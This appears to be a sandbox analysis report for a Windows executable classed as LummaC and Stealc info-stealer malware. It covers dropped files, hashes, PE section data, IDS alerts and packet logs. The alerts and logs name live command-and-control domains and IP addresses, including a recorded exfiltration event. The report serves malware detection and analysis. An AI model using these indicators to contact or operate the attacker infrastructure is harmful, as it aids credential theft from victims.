C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse
C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse
C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FC6S9INH3UEK91EJWRLCPKUP1.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe

Download File

Process:	C:\Users\user\Desktop\uDTW3VjJJT.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2883584
Entropy (8bit):	6.537966262752438
Encrypted:	false
SSDEEP:	24576:LBGJABbey9EKIXUDMPygZalHOiZncFx2J/atbmmPffRv7P8ussEsfEEi3M4rz7Jf:lKABDZIXUI5iuiZ29zmuarfkjpTSyng
MD5:	A0956C9F9C719B85668C6F8B85F89A5B
SHA1:	031F8C3BF791E31AE9B03286B486B1365B81F745
SHA-256:	998C8DDDF5FC3D73A386669C03CE5A4D371FB1D09983B1828F3ED49598AF0B57
SHA-512:	1EE084EF14A516733FFAEDD360B43560BF87E999FC4F2AD9C8D34191F33E6FAFDE7BD0773CC422F63D664E8B8D994D1884736F70C360927AAEF75745323B8474
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: u1z7S3hr06.exe, Detection: malicious, Browse Filename: XNtOBQ5NHr.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(.......0O...........@..........................`O......,...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...ojvirhut.`...$..^..\|..............@...ueswzroq..... O.......+.............@....taggant.0...0O.."....+.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe

Download File

Process:	C:\Users\user\Desktop\uDTW3VjJJT.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2846208
Entropy (8bit):	6.507795844165892
Encrypted:	false
SSDEEP:	49152:s76edacm78p+b6wendBF+BPBUN8dj2KZepji23LmZVHz:0dacm5b6wedB0BJU8j2NpOQQVH
MD5:	ED267F8F886C1D23165754F5C17B852D
SHA1:	65F287E63EF2CF1106CF8C2AF026A8E6C12724D3
SHA-256:	196A92F8482CC549EFACDEC30DD39D0F662584F78FDD8FC612D28D48860A5123
SHA-512:	E07605D0CBBC0588B574A359AB6F6681B1CF99C6706EE91C27D579F3041F46BAA28184DD35612EFB9325B8B6CC9FC92A275ABED3B1126A8C7B2633B0E49C491F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: u1z7S3hr06.exe, Detection: malicious, Browse Filename: XNtOBQ5NHr.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+......+...`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........f..............@...ljmymddw...........h..............@...ajdgxuni. ....+......F+.............@....taggant.@....+.."...L+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946772710295766
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	uDTW3VjJJT.exe
File size:	1'865'216 bytes
MD5:	c55aabf570c84e3060df0d997f2bfb33
SHA1:	8d2fd3178f3b1865c759e2df6ce3b9e889ef1ff4
SHA256:	eda1f4fdb57fdab8e38c18eb512baf9d23f244d03c7ec2a022bac98e681fe91b
SHA512:	8b7683bda774816158bed0a8b8d58342037ef51558b6f6827d5a80de89c1c31f732a632c4407144732064de2302e77e74409710a303b8bad827020ec5b2458f5
SSDEEP:	49152:TJVMcG3U3NJTuJyaZ0Vvss5Tu+lUEUCj7/lXm4cAe:Ah3anwyE0G+ufalm
TLSH:	198533F09E6C0FEFE7F0C37638D630E892990C644F2BCD23A47E59E656979A1550A90C
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................I...........@...........................J...........@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x89d000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F4360D9F5DAh
andps xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F4360DA15D5h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	3aab7b43c5571c542e8ef1be973c7996	False	0.9973512414383562	data	7.974539623835267	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1ac	0x200	75720b8ea60aa06a31806981b744f74e	False	0.5390625	data	5.245569576626531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2a8000	0x200	652c360e388c040cea65f81977c0360f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jxigntbe	0x2fc000	0x1a0000	0x19f200	9f5c870d36ba6706fba8afc88e8e7521	False	0.9947052139792232	data	7.953048455185081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dmgkcopc	0x49c000	0x1000	0x400	7c04f380ad90e7b11b2d2fc1105c230b	False	0.8125	data	6.290399078386529	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x49d000	0x3000	0x2200	f837956e8f6f39389e80a9fa512c9529	False	0.006433823529411764	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T17:17:13.189457+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.6	60776	1.1.1.1	53	UDP
2024-12-20T17:17:13.338207+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.6	55364	1.1.1.1	53	UDP
2024-12-20T17:17:13.654987+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.6	55312	1.1.1.1	53	UDP
2024-12-20T17:17:15.059852+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49725	104.21.21.99	443	TCP
2024-12-20T17:17:15.059852+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49725	104.21.21.99	443	TCP
2024-12-20T17:17:15.831759+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49725	104.21.21.99	443	TCP
2024-12-20T17:17:15.831759+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49725	104.21.21.99	443	TCP
2024-12-20T17:17:17.102972+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49731	104.21.21.99	443	TCP
2024-12-20T17:17:17.102972+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49731	104.21.21.99	443	TCP
2024-12-20T17:17:17.872716+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49731	104.21.21.99	443	TCP
2024-12-20T17:17:17.872716+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49731	104.21.21.99	443	TCP
2024-12-20T17:17:19.947652+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49737	104.21.21.99	443	TCP
2024-12-20T17:17:19.947652+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49737	104.21.21.99	443	TCP
2024-12-20T17:17:22.587745+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49748	104.21.21.99	443	TCP
2024-12-20T17:17:22.587745+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49748	104.21.21.99	443	TCP
2024-12-20T17:17:23.446782+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49748	104.21.21.99	443	TCP
2024-12-20T17:17:24.907081+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49761	104.21.21.99	443	TCP
2024-12-20T17:17:24.907081+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49761	104.21.21.99	443	TCP
2024-12-20T17:17:28.242210+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49771	104.21.21.99	443	TCP
2024-12-20T17:17:28.242210+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49771	104.21.21.99	443	TCP
2024-12-20T17:17:32.205154+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49782	104.21.21.99	443	TCP
2024-12-20T17:17:32.205154+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49782	104.21.21.99	443	TCP
2024-12-20T17:17:40.926592+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49803	104.21.21.99	443	TCP
2024-12-20T17:17:40.926592+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49803	104.21.21.99	443	TCP
2024-12-20T17:17:41.770378+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49803	104.21.21.99	443	TCP
2024-12-20T17:17:43.251739+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49809	185.215.113.16	80	TCP
2024-12-20T17:17:58.547107+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49849	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 17:17:13.804090977 CET	49725	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:13.804126024 CET	443	49725	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:13.804194927 CET	49725	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:13.833512068 CET	49725	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:13.833528996 CET	443	49725	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:15.059750080 CET	443	49725	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:15.059851885 CET	49725	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:15.061578035 CET	49725	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:15.061583996 CET	443	49725	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:15.061956882 CET	443	49725	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:15.104835987 CET	49725	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:15.152863979 CET	49725	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:15.152920961 CET	49725	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:15.153033018 CET	443	49725	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:15.831770897 CET	443	49725	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:15.831888914 CET	443	49725	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:15.831976891 CET	49725	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:15.844012976 CET	49725	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:15.844031096 CET	443	49725	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:15.844055891 CET	49725	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:15.844063044 CET	443	49725	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:15.859544039 CET	49731	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:15.859584093 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:15.859663963 CET	49731	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:15.859952927 CET	49731	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:15.859971046 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:17.102899075 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:17.102972031 CET	49731	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:17.104382038 CET	49731	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:17.104393959 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:17.105253935 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:17.106702089 CET	49731	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:17.106827974 CET	49731	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:17.106889963 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:17.872728109 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:17.872776985 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:17.872931957 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:17.873020887 CET	49731	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:17.873039007 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:17.873275995 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:17.873321056 CET	49731	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:17.873341084 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:17.873387098 CET	49731	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:17.881400108 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:17.890002012 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:17.890065908 CET	49731	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:17.890074968 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:17.899053097 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:17.899102926 CET	49731	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:17.899110079 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:17.948577881 CET	49731	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:17.992566109 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:18.042321920 CET	49731	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:18.042339087 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:18.089553118 CET	49731	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:18.089571953 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:18.136233091 CET	49731	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:18.181531906 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:18.181680918 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:18.181793928 CET	49731	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:18.195801973 CET	49731	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:18.195801973 CET	49731	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:18.195833921 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:18.195846081 CET	443	49731	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:18.727471113 CET	49737	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:18.727529049 CET	443	49737	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:18.727607012 CET	49737	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:18.727973938 CET	49737	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:18.727983952 CET	443	49737	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:19.947555065 CET	443	49737	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:19.947652102 CET	49737	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:19.949529886 CET	49737	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:19.949564934 CET	443	49737	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:19.949882984 CET	443	49737	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:19.951251984 CET	49737	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:19.951508045 CET	49737	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:19.951554060 CET	443	49737	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:20.797218084 CET	443	49737	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:20.797472954 CET	443	49737	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:20.797565937 CET	49737	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:20.838879108 CET	49737	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:20.838923931 CET	443	49737	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:21.370121956 CET	49748	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:21.370174885 CET	443	49748	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:21.370309114 CET	49748	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:21.370639086 CET	49748	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:21.370655060 CET	443	49748	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:22.587658882 CET	443	49748	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:22.587744951 CET	49748	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:22.589797974 CET	49748	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:22.589813948 CET	443	49748	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:22.590214014 CET	443	49748	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:22.591466904 CET	49748	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:22.591742039 CET	49748	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:22.591778994 CET	443	49748	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:22.591852903 CET	49748	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:22.635349035 CET	443	49748	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:23.446794987 CET	443	49748	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:23.446906090 CET	443	49748	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:23.447169065 CET	49748	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:23.447220087 CET	49748	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:23.447247028 CET	443	49748	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:23.678045988 CET	49761	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:23.678097963 CET	443	49761	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:23.678215027 CET	49761	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:23.687414885 CET	49761	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:23.687449932 CET	443	49761	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:24.906991959 CET	443	49761	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:24.907080889 CET	49761	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:24.908444881 CET	49761	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:24.908457041 CET	443	49761	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:24.908730984 CET	443	49761	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:24.910044909 CET	49761	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:24.910351992 CET	49761	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:24.910382986 CET	443	49761	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:24.910448074 CET	49761	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:24.910454035 CET	443	49761	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:25.898057938 CET	443	49761	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:25.898143053 CET	443	49761	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:25.898200989 CET	49761	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:25.898977995 CET	49761	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:25.898999929 CET	443	49761	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:27.029294014 CET	49771	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:27.029364109 CET	443	49771	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:27.029423952 CET	49771	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:27.029747963 CET	49771	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:27.029759884 CET	443	49771	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:28.242132902 CET	443	49771	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:28.242209911 CET	49771	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:28.243745089 CET	49771	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:28.243756056 CET	443	49771	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:28.243999004 CET	443	49771	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:28.245348930 CET	49771	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:28.245425940 CET	49771	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:28.245431900 CET	443	49771	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:29.610281944 CET	443	49771	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:29.610366106 CET	443	49771	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:29.610629082 CET	49771	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:29.610629082 CET	49771	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:29.917325974 CET	49771	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:29.917357922 CET	443	49771	104.21.21.99	192.168.2.6
